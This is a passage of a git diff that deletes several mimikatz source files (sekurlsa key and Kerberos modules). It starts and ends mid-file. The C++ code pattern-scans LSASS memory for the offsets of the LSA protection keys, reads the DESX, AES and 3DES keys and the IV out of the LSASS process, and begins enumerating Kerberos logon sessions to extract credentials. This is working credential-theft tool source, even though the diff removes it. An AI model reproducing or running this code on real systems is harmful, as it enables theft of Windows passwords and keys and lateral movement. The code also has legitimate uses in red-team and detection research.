LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
|
||||
LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68};
|
||||
LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY);
|
||||
LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2;
|
||||
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2;
|
||||
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2;
|
||||
#endif
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
|
||||
{
|
||||
PBYTE ptrBase = NULL;
|
||||
DWORD mesSucces = 0;
|
||||
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY)))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback));
|
||||
g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey));
|
||||
g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey));
|
||||
PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey));
|
||||
#elif defined _M_IX86
|
||||
PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback);
|
||||
g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey);
|
||||
g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey);
|
||||
PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey);
|
||||
#endif
|
||||
*g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL;
|
||||
|
||||
mesSucces = 0;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mesSucces++;
|
||||
*g_pRandomKey = new BYTE[*g_cbRandomKey];
|
||||
if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mesSucces++;
|
||||
*g_pDESXKey = new BYTE[144];
|
||||
if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
|
||||
return (mesSucces == 6);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData()
|
||||
{
|
||||
if(g_pRandomKey && *g_pRandomKey)
|
||||
delete[] *g_pRandomKey;
|
||||
if(g_pDESXKey && *g_pDESXKey)
|
||||
delete[] *g_pDESXKey;
|
||||
|
||||
return true;
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_keys_nt5 {
|
||||
|
||||
private:
|
||||
static PBYTE *g_pRandomKey, *g_pDESXKey;
|
||||
public:
|
||||
static bool searchAndInitLSASSData();
|
||||
static bool uninitLSASSData();
|
||||
};
|
@ -1,185 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "keys_nt6.h"
|
||||
HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL;
|
||||
PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL;
|
||||
mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL;
|
||||
BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL;
|
||||
|
||||
BYTE kiwiRandom3DES[24], kiwiRandomAES[16];
|
||||
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D};
|
||||
LONG OFFS_WNO8_hAesKey = (LONG)sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + (LONG)sizeof(LONG) + 5 + 3;
|
||||
LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + (LONG)sizeof(long));
|
||||
LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + (LONG)sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3;
|
||||
LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + (LONG)sizeof(long));
|
||||
LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + (LONG)sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3;
|
||||
|
||||
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D};
|
||||
LONG OFFS_WIN8_hAesKey = (LONG)sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + (LONG)sizeof(LONG) + 4 + 3;
|
||||
LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + (LONG)sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68};
|
||||
LONG OFFS_WNO8_hAesKey = -(5 + 6 + (LONG)sizeof(long));
|
||||
LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + (LONG)sizeof(long));
|
||||
LONG OFFS_WNO8_InitializationVector = (LONG)sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
|
||||
|
||||
BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68};
|
||||
LONG OFFS_WIN8_hAesKey = -(2 + 6 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + (LONG)sizeof(long));
|
||||
LONG OFFS_WIN8_InitializationVector = (LONG)sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
|
||||
#endif
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
|
||||
{
|
||||
if(!hBCrypt)
|
||||
hBCrypt = LoadLibrary(L"bcrypt");
|
||||
|
||||
PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
|
||||
ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY;
|
||||
LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY;
|
||||
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY);
|
||||
OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey;
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector;
|
||||
}
|
||||
else
|
||||
{
|
||||
OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector;
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY;
|
||||
SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY);
|
||||
OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey;
|
||||
OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey;
|
||||
OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector;
|
||||
}
|
||||
|
||||
PBYTE ptrBase = NULL;
|
||||
DWORD mesSucces = 0;
|
||||
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4;
|
||||
PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector));
|
||||
hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey));
|
||||
h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey));
|
||||
hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
|
||||
h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)));
|
||||
#elif defined _M_IX86
|
||||
PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector);
|
||||
hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey);
|
||||
h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey);
|
||||
hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2);
|
||||
h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2);
|
||||
#endif
|
||||
if(hBCrypt && LsaInitializeProtectedMemory())
|
||||
{
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
|
||||
KIWI_BCRYPT_KEY maCle;
|
||||
KIWI_BCRYPT_KEY_DATA maCleData;
|
||||
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;)
|
||||
mesSucces++;
|
||||
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS))
|
||||
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl;
|
||||
}
|
||||
else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
|
||||
|
||||
return (mesSucces == 3);
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData()
|
||||
{
|
||||
if(hBCrypt)
|
||||
{
|
||||
LsaCleanupProtectedMemory();
|
||||
FreeLibrary(hBCrypt);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory()
|
||||
{
|
||||
bool resultat = false;
|
||||
|
||||
PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider"));
|
||||
PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty"));
|
||||
PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty"));
|
||||
PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey"));
|
||||
|
||||
if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) &&
|
||||
NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0)))
|
||||
{
|
||||
if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) &&
|
||||
NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0)))
|
||||
{
|
||||
DWORD DES3KeyLen, AESKeyLen, cbLen;
|
||||
|
||||
if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) &&
|
||||
NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0)))
|
||||
{
|
||||
DES3Key = new BYTE[DES3KeyLen];
|
||||
AESKey = new BYTE[AESKeyLen];
|
||||
|
||||
resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) &&
|
||||
NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0));
|
||||
}
|
||||
}
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory()
|
||||
{
|
||||
PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey"));
|
||||
PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider"));
|
||||
|
||||
if (h3DesKey )
|
||||
K_BCryptDestroyKey(*h3DesKey);
|
||||
if (hAesKey )
|
||||
K_BCryptDestroyKey(*hAesKey);
|
||||
|
||||
if (h3DesProvider)
|
||||
K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0);
|
||||
if (hAesProvider )
|
||||
K_BCryptCloseAlgorithmProvider(*hAesProvider, 0);
|
||||
|
||||
if(DES3Key)
|
||||
delete[] DES3Key;
|
||||
if(AESKey)
|
||||
delete[] AESKey;
|
||||
|
||||
return true;
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_keys_nt6 {
|
||||
|
||||
private:
|
||||
static HMODULE hBCrypt;
|
||||
|
||||
typedef struct _KIWI_BCRYPT_KEY_DATA {
|
||||
DWORD size;
|
||||
DWORD tag;
|
||||
DWORD type;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
PVOID unk4;
|
||||
BYTE data; /* etc... */
|
||||
} KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA;
|
||||
|
||||
typedef struct _KIWI_BCRYPT_KEY {
|
||||
DWORD size;
|
||||
DWORD type;
|
||||
PVOID unk0;
|
||||
PKIWI_BCRYPT_KEY_DATA cle;
|
||||
PVOID unk1;
|
||||
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;
|
||||
|
||||
static PBYTE DES3Key, AESKey;
|
||||
static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey;
|
||||
static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider;
|
||||
|
||||
static bool LsaInitializeProtectedMemory();
|
||||
static bool LsaCleanupProtectedMemory();
|
||||
|
||||
public:
|
||||
static bool searchAndInitLSASSData();
|
||||
static bool uninitLSASSData();
|
||||
};
|
@ -1,134 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "kerberos.h"
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL;
|
||||
mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL);
|
||||
long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0;
|
||||
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
|
||||
|
||||
bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos")));
|
||||
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs()
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
|
||||
|
||||
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84};
|
||||
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53};
|
||||
LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4);
|
||||
BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC
|
||||
LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4);
|
||||
|
||||
BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8};
|
||||
LONG OFFS_WALL_KerbFreeLogonSessionList = -4;
|
||||
#endif
|
||||
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList))
|
||||
{
|
||||
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList);
|
||||
pattern = PTRN_WALL_KerbFreeLogonSessionList;
|
||||
taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList);
|
||||
offset = OFFS_WALL_KerbFreeLogonSessionList;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 2)
|
||||
offsetMagic = 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable);
|
||||
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WALL_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WALL_KerbUnloadLogonSessionTable;
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern = PTRN_WNO8_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WNO8_KerbUnloadLogonSessionTable;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC
|
||||
PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c;
|
||||
pattern = PTRN_WIN8_KerbUnloadLogonSessionTable;
|
||||
taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable);
|
||||
offset = OFFS_WIN8_KerbUnloadLogonSessionTable;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if(HMODULE monModule = LoadLibrary(L"kerberos"))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset);
|
||||
*pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
}
|
||||
FreeLibrary(monModule);
|
||||
}
|
||||
}
|
||||
return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList));
|
||||
}
|
||||
|
||||
bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity)
|
||||
{
|
||||
if(searchKerberosFuncs())
|
||||
{
|
||||
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
|
||||
DWORD taille;
|
||||
